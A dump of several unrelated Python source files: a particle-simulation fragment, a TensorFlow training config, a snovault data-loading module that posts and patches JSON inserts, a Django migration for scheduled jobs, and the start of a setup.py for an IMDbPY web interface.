        self.x = self.x + self.dt *self.force[0,0]
        self.y = self.y + self.dt *self.force[0,1]

    def status(self):
        sys.stdout.write("\n Particle : {} ({},{}), Force: [{},{}]".format(self.id,self.x,self.y,self.force[0,0],self.force[0,1]))

    def _move(self, distance = 0.5):
        self.x+=distance


'''
@author: xiongfei
@license: (C) Copyright 2013-2017, Node Supply Chain Manager Corporation Limited.
@contact: 386344277@qq.com
@file: config.py
@time: 2018/4/13 下午2:07
@desc: shanghaijiaotong university
'''
import os
import tensorflow as tf

from train import train
from data_preprocess import prepro

flags = tf.flags

flags.DEFINE_string("train_data_path" ,"./mini_data_train.txt", "train_data_path")
flags.DEFINE_string("test_data_path" ,"./mini_data_test.txt", "test_data_path")

flags.DEFINE_string("run_id", "0", "RUN ID[0]")
flags.DEFINE_string("model_name", "basic", "model name")

target_dir = "data"
log_dir = os.path.join(flags.FLAGS.model_name, flags.FLAGS.run_id, "event")
save_dir = os.path.join(flags.FLAGS.model_name, flags.FLAGS.run_id, "save")

if not os.path.exists(target_dir):
    os.makedirs(target_dir)
if not os.path.exists(log_dir):
    os.makedirs(log_dir)
if not os.path.exists(save_dir):
    os.makedirs(save_dir)

flags.DEFINE_string("mode", "train", "Running mode train/debug/test")
flags.DEFINE_string("target_dir", target_dir, "Target directory for out data")
flags.DEFINE_string("log_dir", log_dir, "Directory for tf event")
flags.DEFINE_string("save_dir", save_dir, "Directory for saving model")

flags.DEFINE_string("train_record_file" ,"./data/train.tfrecords", "train_tf_file")
flags.DEFINE_string("test_record_file" ,"./data/test.tfrecords", "test_tf_file")

flags.DEFINE_string("load_path", None, "retrain_path")
flags.DEFINE_integer("load_step", 0, "retrain globel step")

flags.DEFINE_integer("vocabuary_size", int(2.2e6), "Corpus size for Glove")
flags.DEFINE_integer("embedding_dim", 300, "Embedding dimension for Glove")

flags.DEFINE_integer("sequence_len", 400, "Limit length for text")
flags.DEFINE_boolean("use_cudnn", False, "Whether to use cudnn rnn (should be False for CPU)")

flags.DEFINE_integer("batch_size", 1, "Batch size")
flags.DEFINE_integer("num_steps", 60000, "Number of steps")
flags.DEFINE_integer("checkpoint", 1000, "checkpoint to save and evaluate the model")
flags.DEFINE_integer("period", 100, "period to save batch loss")

flags.DEFINE_integer("val_num_batches", 1, "Number of batches to evaluate the model")

flags.DEFINE_float("init_lr", 0.5, "Initial learning rate for Adadelta")
flags.DEFINE_float("keep_prob", 0.7, "Dropout keep prob in rnn")

flags.DEFINE_float("grad_clip", 5.0, "Global Norm gradient clipping rate")
flags.DEFINE_integer("hidden_size", 75, "Hidden size")
flags.DEFINE_integer("patience", 3, "Patience for learning rate decay")
flags.DEFINE_integer("max_to_keep", 10, "max numbers of saved model")
flags.DEFINE_integer("num_class", 14, "number of classes")
flags.DEFINE_integer("test_nums", 10, "number of test samples")
flags.DEFINE_integer("num_gpus", 2, "number of multi gpus")

flags.DEFINE_integer("num_threads", 4, "data_load")
flags.DEFINE_integer("capacity", 15000, "data_load_shuffle_capacity")
def main(_):
    config = flags.FLAGS
    if config.mode == "train":
        train(config)
    elif config.mode == "prepro":
        prepro(config)
    else:
        print("Unknown mode")
        exit(0)
if __name__ == "__main__":
    tf.app.run()


# -*- coding: utf-8 -*-
"""Load collections and determine the order."""

import gzip
import json
import magic
import mimetypes
import os
import re
import structlog
from typing import Union
import webtest
import traceback
import uuid

from base64 import b64encode
from dcicutils.misc_utils import ignored, environ_bool, VirtualApp
from dcicutils.secrets_utils import assume_identity
from PIL import Image
from pyramid.paster import get_app
from pyramid.response import Response
from pyramid.view import view_config
from snovault.util import debug_log

from .project_app import app_project
from .server_defaults import add_last_modified

text = type(u'')
logger = structlog.getLogger(__name__)

def includeme(config):
    # provide an endpoint to do bulk uploading that just uses loadxl
    config.add_route('load_data', '/load_data')
    config.scan(__name__)

# order of items references with linkTo in a field in  'required' in schemas
# This should be set by the downstream application
ORDER = app_project().loadxl_order()

IS_ATTACHMENT = [
    'attachment',
    'file_format_specification',
]

# This uuid should be constant across all portals
LOADXL_USER_UUID = "3202fd57-44d2-44fb-a131-afb1e43d8ae5"

class LoadGenWrapper(object):
    """
    Simple class that accepts a generator function and handles errors by
    setting self.caught to the error message.
    """
    def __init__(self, gen):
        self.gen = gen
        self.caught = None

    def __iter__(self):
        """
        Iterate through self.gen and see if 'ERROR: ' bytes are in any yielded
        value. If so, store the error message as self.caught and raise
        StopIteration to halt the generator.
        """
        # self.caught = yield from self.gen
        for iter_val in self.gen:
            if b'ERROR:' in iter_val:
                self.caught = iter_val.decode()
            yield iter_val

    def close(self):
        if self.caught:
            logger.error('load_data: failed to load with iter_response', error=self.caught)

@view_config(route_name='load_data', request_method='POST', permission='add')
@debug_log
def load_data_view(context, request):
    """
    expected input data

    {'local_path': path to a directory or file in file system
     'fdn_dir': inserts folder under encoded
     'store': if not local_path or fdn_dir, look for a dictionary of items here
     'overwrite' (Bool): overwrite if existing data
     'itype': (list or str): only pick some types from the source or specify type in in_file
     'iter_response': invoke the Response as an app_iter, directly calling load_all_gen
     'config_uri': user supplied configuration file}

    post can contain 2 different styles of data
    1) reference to a folder or file (local_path or fd_dir). If this is done
       itype can be optionally used to specify type of items loaded from files
    2) store in form of {'item_type': [items], 'item_type2': [items]}
       item_type should be same as insert file names i.e. file_fastq
    """
    ignored(context)
    # this is a bit weird but want to reuse load_data functionality so I'm rolling with it
    config_uri = request.json.get('config_uri', 'production.ini')
    patch_only = request.json.get('patch_only', False)
    post_only = request.json.get('post_only', False)
    app = get_app(config_uri, 'app')
    environ = {'HTTP_ACCEPT': 'application/json', 'REMOTE_USER': 'TEST'}
    testapp = webtest.TestApp(app, environ)
    # expected response
    request.response.status = 200
    result = {
        'status': 'success',
        '@type': ['result'],
    }
    store = request.json.get('store', {})
    local_path = request.json.get('local_path')
    fdn_dir = request.json.get('fdn_dir')
    overwrite = request.json.get('overwrite', False)
    itype = request.json.get('itype')
    iter_resp = request.json.get('iter_response', False)
    inserts = None
    from_json = False
    if fdn_dir:
        inserts = app_project().project_filename('tests/data/' + fdn_dir + '/')
    elif local_path:
        inserts = local_path
    elif store:
        inserts = store
        from_json = True
    # if we want to iterate over the response to keep the connection alive
    # this directly calls load_all_gen, instead of load_all
    if iter_resp:
        return Response(
            content_type='text/plain',
            app_iter=LoadGenWrapper(
                load_all_gen(testapp, inserts, None, overwrite=overwrite, itype=itype,
                             from_json=from_json, patch_only=patch_only, post_only=post_only)
            )
        )
    # otherwise, it is a regular view and we can call load_all as usual
    if inserts:
        res = load_all(testapp, inserts, None, overwrite=overwrite, itype=itype, from_json=from_json)
    else:
        res = 'No uploadable content found!'

    if res:  # None if load_all is successful
        print(LOAD_ERROR_MESSAGE)
        request.response.status = 422
        result['status'] = 'error'
        result['@graph'] = str(res)
    return result

def trim(value):
    """Shorten excessively long fields in error log."""
    if isinstance(value, dict):
        return {k: trim(v) for k, v in value.items()}
    if isinstance(value, list):
        return [trim(v) for v in value]
    if isinstance(value, str) and len(value) > 160:
        return value[:77] + '...' + value[-80:]
    return value

def find_doc(docsdir, filename):
    """tries to find the file, if not returns false."""
    path = None
    if not docsdir:
        return
    for dirpath in docsdir:
        candidate = os.path.join(dirpath, filename)
        if not os.path.exists(candidate):
            continue
        if path is not None:
            msg = 'Duplicate filenames: %s, %s' % (path, candidate)
            raise ValueError(msg)
        path = candidate
    if path is None:
        return
    return path

def attachment(path):
    """Create an attachment upload object from a filename Embeds the attachment as a data url."""
    filename = os.path.basename(path)
    mime_type, encoding = mimetypes.guess_type(path)
    major, minor = mime_type.split('/')
    try:
        detected_type = magic.from_file(path, mime=True).decode('ascii')
    except AttributeError:
        detected_type = magic.from_file(path, mime=True)
    # XXX This validation logic should move server-side.
    if not (detected_type == mime_type or
            detected_type == 'text/plain' and major == 'text'):
        raise ValueError('Wrong extension for %s: %s' % (detected_type, filename))
    with open(path, 'rb') as stream:
        attach = {'download': filename,
                  'type': mime_type,
                  'href': 'data:%s;base64,%s' % (mime_type, b64encode(stream.read()).decode('ascii'))}
        if mime_type in ('application/pdf', "application/zip", 'text/plain',
                         'text/tab-separated-values', 'text/html', 'application/msword', 'application/vnd.ms-excel',
                         'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'):
            # XXX Should use chardet to detect charset for text files here.
            return attach
        if major == 'image' and minor in ('png', 'jpeg', 'gif', 'tiff'):
            # XXX we should just convert our tiffs to pngs
            stream.seek(0, 0)
            im = Image.open(stream)
            im.verify()
            if im.format != minor.upper():
                msg = "Image file format %r does not match extension for %s"
                raise ValueError(msg % (im.format, filename))
            attach['width'], attach['height'] = im.size
            return attach
    raise ValueError("Unknown file type for %s" % filename)

def format_for_attachment(json_data, docsdir):
    for field in IS_ATTACHMENT:
        if field in json_data:
            if isinstance(json_data[field], dict):
                pass
            elif isinstance(json_data[field], str):
                path = find_doc(docsdir, json_data[field])
                if not path:
                    del json_data[field]
                    logger.error('Removing {} form {}, expecting path'.format(field, json_data['uuid']))
                else:
                    json_data[field] = attachment(path)
            else:
                # malformatted attachment
                del json_data[field]
                logger.error('Removing {} form {}, expecting path'.format(field, json_data['uuid']))
    return json_data

LOAD_ERROR_MESSAGE = """#   ██▓     ▒█████   ▄▄▄      ▓█████▄  ██▓ ███▄    █   ▄████
#  ▓██▒    ▒██▒  ██▒▒████▄    ▒██▀ ██▌▓██▒ ██ ▀█   █  ██▒ ▀█▒
#  ▒██░    ▒██░  ██▒▒██  ▀█▄  ░██   █▌▒██▒▓██  ▀█ ██▒▒██░▄▄▄░
#  ▒██░    ▒██   ██░░██▄▄▄▄██ ░▓█▄   ▌░██░▓██▒  ▐▌██▒░▓█  ██▓
#  ░██████▒░ ████▓▒░ ▓█   ▓██▒░▒████▓ ░██░▒██░   ▓██░░▒▓███▀▒
#  ░ ▒░▓  ░░ ▒░▒░▒░  ▒▒   ▓▒█░ ▒▒▓  ▒ ░▓  ░ ▒░   ▒ ▒  ░▒   ▒
#  ░ ░ ▒  ░  ░ ▒ ▒░   ▒   ▒▒ ░ ░ ▒  ▒  ▒ ░░ ░░   ░ ▒░  ░   ░
#    ░ ░   ░ ░ ░ ▒    ░   ▒    ░ ░  ░  ▒ ░   ░   ░ ░ ░ ░   ░
#      ░  ░    ░ ░        ░  ░   ░     ░           ░       ░
#                              ░
#   ██▓ ███▄    █   ██████ ▓█████  ██▀███  ▄▄▄█████▓  ██████
#  ▓██▒ ██ ▀█   █ ▒██    ▒ ▓█   ▀ ▓██ ▒ ██▒▓  ██▒ ▓▒▒██    ▒
#  ▒██▒▓██  ▀█ ██▒░ ▓██▄   ▒███   ▓██ ░▄█ ▒▒ ▓██░ ▒░░ ▓██▄
#  ░██░▓██▒  ▐▌██▒  ▒   ██▒▒▓█  ▄ ▒██▀▀█▄  ░ ▓██▓ ░   ▒   ██▒
#  ░██░▒██░   ▓██░▒██████▒▒░▒████▒░██▓ ▒██▒  ▒██▒ ░ ▒██████▒▒
#  ░▓  ░ ▒░   ▒ ▒ ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ▒▓ ░▒▓░  ▒ ░░   ▒ ▒▓▒ ▒ ░
#   ▒ ░░ ░░   ░ ▒░░ ░▒  ░ ░ ░ ░  ░  ░▒ ░ ▒░    ░    ░ ░▒  ░ ░
#   ▒ ░   ░   ░ ░ ░  ░  ░     ░     ░░   ░   ░      ░  ░  ░
#   ░           ░       ░     ░  ░   ░                    ░
#
#    █████▒▄▄▄       ██▓ ██▓    ▓█████ ▓█████▄
#  ▓██   ▒▒████▄    ▓██▒▓██▒    ▓█   ▀ ▒██▀ ██▌
#  ▒████ ░▒██  ▀█▄  ▒██▒▒██░    ▒███   ░██   █▌
#  ░▓█▒  ░░██▄▄▄▄██ ░██░▒██░    ▒▓█  ▄ ░▓█▄   ▌
#  ░▒█░    ▓█   ▓██▒░██░░██████▒░▒████▒░▒████▓
#   ▒ ░    ▒▒   ▓▒█░░▓  ░ ▒░▓  ░░░ ▒░ ░ ▒▒▓  ▒
#   ░       ▒   ▒▒ ░ ▒ ░░ ░ ▒  ░ ░ ░  ░ ░ ▒  ▒
#   ░ ░     ░   ▒    ▒ ░  ░ ░      ░    ░ ░  ░
#               ░  ░ ░      ░  ░   ░  ░   ░
#                                       ░                    """

def load_all(testapp, inserts, docsdir, overwrite=True, itype=None, from_json=False, patch_only=False, post_only=False,
             skip_types=None):
    """
    Wrapper function for load_all_gen, which invokes the generator returned
    from that function. Takes all of the same args as load_all_gen, so
    please reference that docstring.

    This function uses LoadGenWrapper, which will catch a returned value from
    the execution of the generator, which is an Exception in the case of
    load_all_gen. Return that Exception if encountered, which is consistent
    with the functionality of load_all_gen.
    """
    gen = LoadGenWrapper(
        load_all_gen(testapp, inserts, docsdir, overwrite, itype, from_json, patch_only, post_only, skip_types)
    )
    # run the generator; don't worry about the output
    for _ in gen:
        pass
    # gen.caught is None for success and an error message on failure
    if gen.caught is None:
        return None
    else:
        return Exception(gen.caught)

LOADXL_ALLOW_NONE = environ_bool("LOADXL_ALLOW_NONE", default=True)

def load_all_gen(testapp, inserts, docsdir, overwrite=True, itype=None, from_json=False,
                 patch_only=False, post_only=False, skip_types=None, validate_only=False):
    """
    Generator function that yields bytes information about each item POSTed/PATCHed.
    Is the base functionality of load_all function.

    convert data to store format dictionary (same format expected from from_json=True),
    assume main function is to load reasonable number of inserts from a folder

    Args:
        testapp
        inserts : either a folder, file, or a dictionary in the store format
        docsdir : attachment folder
        overwrite (bool)   : if the database contains the item already, skip or patch
        itype (list or str): limit selection to certain type/types
        from_json (bool)   : if set to true, inserts should be dict instead of folder name
        patch_only (bool)  : if set to true will only do second round patch - no posts
        post_only (bool)   : if set to true posts full item no second round or lookup -
                             use with care - will not work if linkTos to items not in db yet
        skip_types (list)  : if set to a list of item files the process will ignore these files
    Yields:
        Bytes with information on POSTed/PATCHed items

    Returns:
        None if successful, otherwise a bytes error message
    """
    if docsdir is None:
        docsdir = []
    # Collect Items
    store = {}
    if from_json:  # we are directly loading json
        store = inserts
    if not from_json:  # we are loading a file
        use_itype = False
        if os.path.isdir(inserts):  # we've specified a directory
            if not inserts.endswith('/'):
                inserts += '/'
            files = [i for i in os.listdir(inserts) if (i.endswith('.json') or i.endswith('.json.gz'))
                     and (i not in skip_types if skip_types else True)]
        elif os.path.isfile(inserts):  # we've specified a single file
            files = [inserts]
            # use the item type if provided AND not a list
            # otherwise guess from the filename
            use_itype = True if (itype and isinstance(itype, str)) else False
        else:  # cannot get the file
            err_msg = 'Failure loading inserts from %s. Could not find matching file or directory.' % inserts
            print(err_msg)
            yield str.encode('ERROR: %s\n' % err_msg)
            return
            # raise StopIteration
        # load from the directory/file
        for a_file in files:
            if use_itype:
                item_type = itype
            else:
                item_type = a_file.split('/')[-1].split(".")[0]
                a_file = inserts + a_file
            store[item_type] = get_json_file_content(a_file)

    # if there is a defined set of items, subtract the rest
    if itype:
        if isinstance(itype, list):
            store = {i: store[i] for i in itype if i in store}
        else:
            store = {itype: store.get(itype, [])}
    # clear empty values
    store = {k: v for k, v in store.items() if v is not None}
    if not store:
        if LOADXL_ALLOW_NONE:
            return
        if from_json:
            err_msg = 'No items found in input "store" json'
        else:
            err_msg = 'No items found in %s' % inserts
        if itype:
            err_msg += ' for item type(s) %s' % itype
        print(err_msg)
        yield str.encode('ERROR: %s' % err_msg)
        return
        # raise StopIteration
    # order Items
    all_types = list(store.keys())
    for ref_item in reversed(ORDER):
        if ref_item in all_types:
            all_types.insert(0, all_types.pop(all_types.index(ref_item)))
    # collect schemas
    profiles = testapp.get('/profiles/?frame=raw').json

    # run step1 - if item does not exist, post with minimal metadata (and skip indexing since we will patch
    # in round 2)
    second_round_items = {}
    if not patch_only:
        for a_type in all_types:
            first_fields = []
            if not post_only:
                # this conversion of schema name to object type works for all existing schemas at the moment
                obj_type = "".join([i.title() for i in a_type.split('_')])
                # minimal schema
                schema_info = profiles[obj_type]
                req_fields = schema_info.get('required', [])
                ids = schema_info.get('identifyingProperties', [])
                # some schemas did not include aliases
                if 'aliases' not in ids:
                    ids.append('aliases')
                # file format is required for files, but its usability depends this field
                if a_type in ['file_format', 'experiment_type']:
                    req_fields.append('valid_item_types')
                first_fields = list(set(req_fields + ids))
            skip_existing_items = set()
            posted = 0
            skip_exist = 0
            for an_item in store[a_type]:
                exists = False
                if not post_only:
                    try:
                        # 301 because @id is the existing item path, not uuid
                        testapp.get('/'+an_item['uuid'], status=[200, 301])
                        exists = True
                    except Exception:
                        pass
                # skip the items that exists
                # if overwrite=True, still include them in PATCH round
                if exists:
                    skip_exist += 1
                    if not overwrite:
                        skip_existing_items.add(an_item['uuid'])
                    yield str.encode('SKIP: %s\n' % an_item['uuid'])
                else:
                    if post_only:
                        to_post = an_item
                    else:
                        to_post = {key: value for (key, value) in an_item.items() if key in first_fields}
                    post_request = f'/{a_type}?skip_indexing=true'
                    if validate_only:
                        post_request += '&check_only=true'
                    to_post = format_for_attachment(to_post, docsdir)
                    try:
                        res = testapp.post_json(post_request, to_post)  # skip indexing in round 1
                        if not validate_only:
                            assert res.status_code == 201
                            posted += 1
                            # yield bytes to work with Response.app_iter
                            yield str.encode('POST: %s\n' % res.json['@graph'][0]['uuid'])
                        else:
                            assert res.status_code == 200
                            yield str.encode('CHECK: %s\n' % an_item['uuid'])
                    except Exception as e:
                        print('Posting {} failed. Post body:\n{}\nError Message:{}'
                              ''.format(a_type, str(first_fields), str(e)))
                        # remove newlines from error, since they mess with generator output
                        e_str = str(e).replace('\n', '')
                        yield str.encode('ERROR: %s\n' % e_str)
                        return
                        # raise StopIteration
            if not validate_only:
                if not post_only:
                    second_round_items[a_type] = [i for i in store[a_type] if i['uuid'] not in skip_existing_items]
            else:
                second_round_items[a_type] = []
            logger.info('{} 1st: {} items posted, {} items exists.'.format(a_type, posted, skip_exist))
            logger.info('{} 1st: {} items will be patched in second round'
                        .format(a_type, str(len(second_round_items.get(a_type, [])))))
    elif overwrite and not post_only:
        logger.info('Posting round skipped')
        for a_type in all_types:
            second_round_items[a_type] = [i for i in store[a_type]]
            logger.info('{}: {} items will be patched in second round'
                        .format(a_type, str(len(second_round_items.get(a_type, [])))))

    # Round II - patch the rest of the metadata (ensuring to index by not passing the query param)
    rnd = ' 2nd' if not patch_only else ''
    for a_type in all_types:
        patched = 0
        if not second_round_items[a_type]:
            logger.info('{}{}: no items to patch'.format(a_type, rnd))
            continue
        for an_item in second_round_items[a_type]:
            an_item = format_for_attachment(an_item, docsdir)
            try:
                add_last_modified(an_item, userid=LOADXL_USER_UUID)
                res = testapp.patch_json('/'+an_item['uuid'], an_item)
                assert res.status_code == 200
                patched += 1
                # yield bytes to work with Response.app_iter
                yield str.encode('PATCH: %s\n' % an_item['uuid'])
            except Exception as e:
                print('Patching {} failed. Patch body:\n{}\n\nError Message:\n{}'.format(
                      a_type, str(an_item), str(e)))
                print('Full error: %s' % traceback.format_exc())
                e_str = str(e).replace('\n', '')
                yield str.encode('ERROR: %s\n' % e_str)
                return
                # raise StopIteration
        logger.info('{}{}: {} items patched .'.format(a_type, rnd, patched))

    # explicit return upon finish
    return None

def get_json_file_content(filename):
    """
    Helper function to obtain objects from (compressed) json files.

    :param filename: str file path
    :returns: object loaded from file
    """
    if filename.endswith(".json"):
        with open(filename) as f:
            result = json.loads(f.read())
    elif filename.endswith(".json.gz"):
        with gzip.open(filename) as f:
            result = json.loads(f.read())
    else:
        raise Exception("Expecting a .json or .json.gz file but found %s." % filename)
    return result

def load_data(app, indir='inserts', docsdir=None, overwrite=False,
              use_master_inserts=True, skip_types=None):
    """
    This function will take the inserts folder as input, and place them to the given environment.
    args:
        app:
        indir (inserts): inserts folder, should be relative to tests/data/
        docsdir (None): folder with attachment documents, relative to tests/data
    """
    environ = {
        'HTTP_ACCEPT': 'application/json',
        'REMOTE_USER': 'TEST',
    }
    testapp = webtest.TestApp(app, environ)
    # load master-inserts by default
    if indir != 'master-inserts' and use_master_inserts:
        master_inserts = app_project().project_filename('tests/data/master-inserts/')
        master_res = load_all(testapp, master_inserts, [], skip_types=skip_types)
        if master_res:  # None if successful
            print(LOAD_ERROR_MESSAGE)
            logger.error('load_data: failed to load from %s' % master_inserts, error=master_res)
            return master_res

    if not indir.endswith('/'):
        indir += '/'
    inserts = app_project().project_filename('tests/data/' + indir)
    if docsdir is None:
        docsdir = []
    else:
        if not docsdir.endswith('/'):
            docsdir += '/'
        docsdir = [app_project().project_filename('tests/data/' + docsdir)]
    res = load_all(testapp, inserts, docsdir, overwrite=overwrite)
    if res:  # None if successful
        print(LOAD_ERROR_MESSAGE)
        logger.error('load_data: failed to load from %s' % docsdir, error=res)
        return res
    return None  # unnecessary, but makes it more clear that no error was encountered

def load_test_data(app, overwrite=False):
    """
    Load inserts and master-inserts

    Returns:
        None if successful, otherwise Exception encountered
    """
    return load_data(app, docsdir='documents', indir='inserts',
                     overwrite=overwrite)

def load_local_data(app, overwrite=False):
    """
    Load inserts from temporary insert folders, if present and populated
    with .json insert files.
    If not present, load inserts and master-inserts.

    Returns:
        None if successful, otherwise Exception encountered
    """

    test_insert_dirs = [
        'temp-local-inserts',
        'demo_inserts'
    ]

    for test_insert_dir in test_insert_dirs:
        chk_dir = app_project().project_filename("tests/data/" + test_insert_dir)
        for (dirpath, dirnames, filenames) in os.walk(chk_dir):
            if any([fn for fn in filenames if fn.endswith('.json') or fn.endswith('.json.gz')]):
                logger.info('Loading inserts from "{}" directory.'.format(test_insert_dir))
                return load_data(app, docsdir='documents', indir=test_insert_dir, use_master_inserts=True,
                                 overwrite=overwrite)

    # Default to 'inserts' if no temp inserts found.
    return load_data(app, docsdir='documents', indir='inserts', use_master_inserts=True, overwrite=overwrite)

def load_prod_data(app, overwrite=False):
    """
    Load master-inserts

    Returns:
        None if successful, otherwise Exception encountered
    """
    return load_data(app, indir='master-inserts', overwrite=overwrite)

def load_deploy_data(app, overwrite=True, **kwargs):
    """
    Load deploy-inserts and master-inserts. Overwrites duplicate items
    in both directories to match deploy-inserts version.

    Returns:
        None if successful, otherwise Exception encountered
    """
    return load_data(app, docsdir='documents', indir="deploy-inserts", overwrite=True)

# Set of emails required by the application to function
REQUIRED_USER_CONFIG = [
    {
        'email': 'loadxl@hms.harvard.edu',
        'first_name': 'loadxl',
        'last_name': 'loadxl',
        'uuid': '3202fd57-44d2-44fb-a131-afb1e43d8ae5'
    },
    {
        'email': 'cgap.platform@gmail.com',
        'first_name': 'Platform',
        'last_name': 'Admin',
        'uuid': 'b5f738b6-455a-42e5-bc1c-77fbfd9b15d2'
    },
    {
        'email': 'foursight.app@gmail.com',
        'first_name': 'Foursight',
        'last_name': 'App',
        'uuid': '7677f8a8-79d2-4cff-ab0a-a967a2a68e39'
    },
    {
        'email': 'tibanna.app@gmail.com',
        'first_name': 'Tibanna',
        'last_name': 'App',
        'uuid': 'b041dba8-e2b2-4e54-a621-97edb508a0c4'
    },
]

def load_custom_data(app, overwrite=False):
    """
    Load deploy-inserts and master-inserts, EXCEPT instead of loading the default user.json,
    generate users (if they do not already exist) from the ENCODED_ADMIN_USERS setting in
    the GAC. We assume it has structure consistent with what the template will build in 4dn-cloud-infra
    ie:
        [{"first_name": "John", "last_name": "Doe", "email": "john_doe@example.com"}]
    """
    # start with the users
    environ = {
        'HTTP_ACCEPT': 'application/json',
        'REMOTE_USER': 'TEST',
    }
    testapp = webtest.TestApp(app, environ)
    identity = assume_identity()
    admin_users = json.loads(identity.get('ENCODED_ADMIN_USERS', '{}'))
    if not admin_users:  # we assume you must have set one of these
        print(LOAD_ERROR_MESSAGE)
        logger.error('load_custom_data: failed to load users as none were set - ensure GAC value'
                     ' ENCODED_ADMIN_USERS is set and formatted correctly!')
        return admin_users

    # post all users
    for user in (admin_users + REQUIRED_USER_CONFIG):
        try:
            first_name, last_name, email, _uuid = (user['first_name'], user['last_name'], user['email'],
                                                   user.get('uuid', str(uuid.uuid4())))
        except KeyError:
            print(LOAD_ERROR_MESSAGE)
            logger.error('load_custom_data: failed to load users as they were malformed - ensure GAC value'
                         ' ENCODED_ADMIN_USERS is set, has type array and consists of objects all containing keys'
                         ' and values for first_name, last_name and email!')
            return user
        item = {
            'first_name': first_name,
            'last_name': last_name,
            'email': email,
            'groups': ['admin'],
            'uuid': _uuid
        }
        testapp.post_json('/User', item, status=201)

    res = load_data(app, docsdir='documents', indir='deploy-inserts', overwrite=overwrite, skip_types=['user.json'])
    if res:  # None if successful
        print(LOAD_ERROR_MESSAGE)
        logger.error('load_custom_data: failed to load from deploy-inserts', error=res)
        return res

    return None

def load_cypress_data(app, overwrite=False):
    """
    Load master-inserts and cypress-test-inserts.
    By default, does not overwrite duplicate items in both directories

    Returns:
        None if successful, otherwise Exception encountered
    """
    return load_data(app, indir='cypress-test-inserts', overwrite=overwrite)

def load_data_by_type(app, indir='master-inserts', overwrite=True, itype=None):
    """
    This function will load inserts of type itype from the indir directory.
    args:
        indir (inserts): inserts folder, should be relative to tests/data/
        itype: item type to load (e.g. "higlass_view_config")
    """

    if itype is None:
        print('load_data_by_type: No item type specified. Not loading anything.')
        return

    environ = {
        'HTTP_ACCEPT': 'application/json',
        'REMOTE_USER': 'TEST',
    }
    testapp = webtest.TestApp(app, environ)

    if not indir.endswith('/'):
        indir += '/'
    inserts = app_project().project_filename('tests/data/' + indir)

    res = load_all(testapp, inserts, docsdir=[], overwrite=overwrite, itype=itype)
    if res:  # None if successful
        print(LOAD_ERROR_MESSAGE)
        logger.error('load_data_by_type: failed to load from %s' % indir, error=res)
        return res
    return None  # unnecessary, but makes it more clear that no error was encountered

def load_data_via_ingester(vapp: VirtualApp,
                           ontology: dict,
                           itype: Union[str, list] = ["ontology", "ontology_term"],
                           validate_only: bool = False) -> dict:
    """
    Entry point for call from encoded.ingester.processors.handle_ontology_update (2023-03-08).
    Returns dictionary itemizing the created (post), updated (patch), skipped (skip), checked (check),
    and errored (error) ontology term uuids; as well as a count of the number of unique uuids processed;
    the checked category is for validate_only;
    """
    response = load_all_gen(vapp, ontology, None, overwrite=True, itype=itype,
                            from_json=True, patch_only=False, validate_only=validate_only)
    results = {"post": [], "patch": [], "skip": [], "check": [], "error": []}
    unique_uuids = set()
    INGESTION_RESPONSE_PATTERN = re.compile(r"^([A-Z]+): ([0-9a-f-]+)$")
    for item in response:
        # Assume each item in the response looks something like one of (string or bytes):
        # POST: 15425d13-01ce-4e61-be5d-cd04401dff29
        # PATCH: 5b45e66f-7b4f-4923-824b-d0864a689bb
        # SKIP: 4efe24b5-eb17-4406-adb8-060ea2ae2180
        # CHECK: deadbeef-eb17-4406-adb8-0eacafebabe
        # ERROR: 906c4667-483e-4a08-96b9-3ce85ce8bf8c
        # Note that SKIP means skip post/insert; still may to patch/update (if overwrite).
        if isinstance(item, bytes):
            item = item.decode("ascii")
        elif not isinstance(item, str):
            logger.warning(f"load_data_via_ingester: skipping response item of unexpected type ({type(item)}): {item!r}")
            continue
        match = INGESTION_RESPONSE_PATTERN.match(item)
        if not match:
            logger.warning(f"load_data_via_ingester: skipping response item in unexpected form: {item!r}")
            continue
        action = match.group(1).lower()
        uuid = match.group(2)
        if not results.get(action):
            results[action] = []
        results[action].append(uuid)
        unique_uuids.add(uuid)
    results["unique"] = len(unique_uuids)
    return results


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models
from django.conf import settings

class Migration(migrations.Migration):

    dependencies = [
        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
    ]

    operations = [
        migrations.CreateModel(
            name='Job',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=200, verbose_name='name')),
                ('frequency', models.CharField(max_length=10, verbose_name='frequency', choices=[(b'YEARLY', 'Yearly'), (b'MONTHLY', 'Monthly'), (b'WEEKLY', 'Weekly'), (b'DAILY', 'Daily'), (b'HOURLY', 'Hourly'), (b'MINUTELY', 'Minutely'), (b'SECONDLY', 'Secondly')])),
                ('params', models.TextField(help_text='Comma-separated list of rrule parameters. e.g: interval:15', null=True, verbose_name='params', blank=True)),
                ('command', models.CharField(help_text='A valid django-admin command to run.', max_length=200, verbose_name='command', blank=True)),
                ('args', models.CharField(help_text='Space separated list; e.g: arg1 option1=True', max_length=200, verbose_name='args', blank=True)),
                ('disabled', models.BooleanField(default=False, help_text='If checked this job will never run.')),
                ('next_run', models.DateTimeField(help_text="If you don't set this it will be determined automatically", null=True, verbose_name='next run', blank=True)),
                ('last_run', models.DateTimeField(verbose_name='last run', null=True, editable=False, blank=True)),
                ('is_running', models.BooleanField(default=False, editable=False)),
                ('last_run_successful', models.BooleanField(default=True, editable=False)),
                ('lock_file', models.CharField(max_length=255, editable=False, blank=True)),
                ('force_run', models.BooleanField(default=False)),
                ('subscribers', models.ManyToManyField(to=settings.AUTH_USER_MODEL, blank=True)),
            ],
            options={
                'ordering': ('disabled', 'next_run'),
            },
        ),
        migrations.CreateModel(
            name='Log',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('run_date', models.DateTimeField(auto_now_add=True)),
                ('stdout', models.TextField(blank=True)),
                ('stderr', models.TextField(blank=True)),
                ('success', models.BooleanField(default=True, editable=False)),
                ('duration', models.FloatField(editable=False)),
                ('job', models.ForeignKey(to='chronograph.Job')),
            ],
            options={
                'ordering': ('-run_date',),
            },
        ),
    ]


from setuptools import setup, find_packages
import sys, os

version = '1.1.1'

setup(
    name='imdbpykit',
    version=version,
    description="Web interface for IMDbPY",
    long_description="""IMDbPYKit is a web interface for IMDbPY using PasteWebkit.""",
    classifiers=[
        "Development Status :: 4 - Beta",
        "Environment :: Web Environment",
        "Intended Audience :: End Users/Desktop",
        "License :: OSI Approved :: GNU General Public License (GPL)",
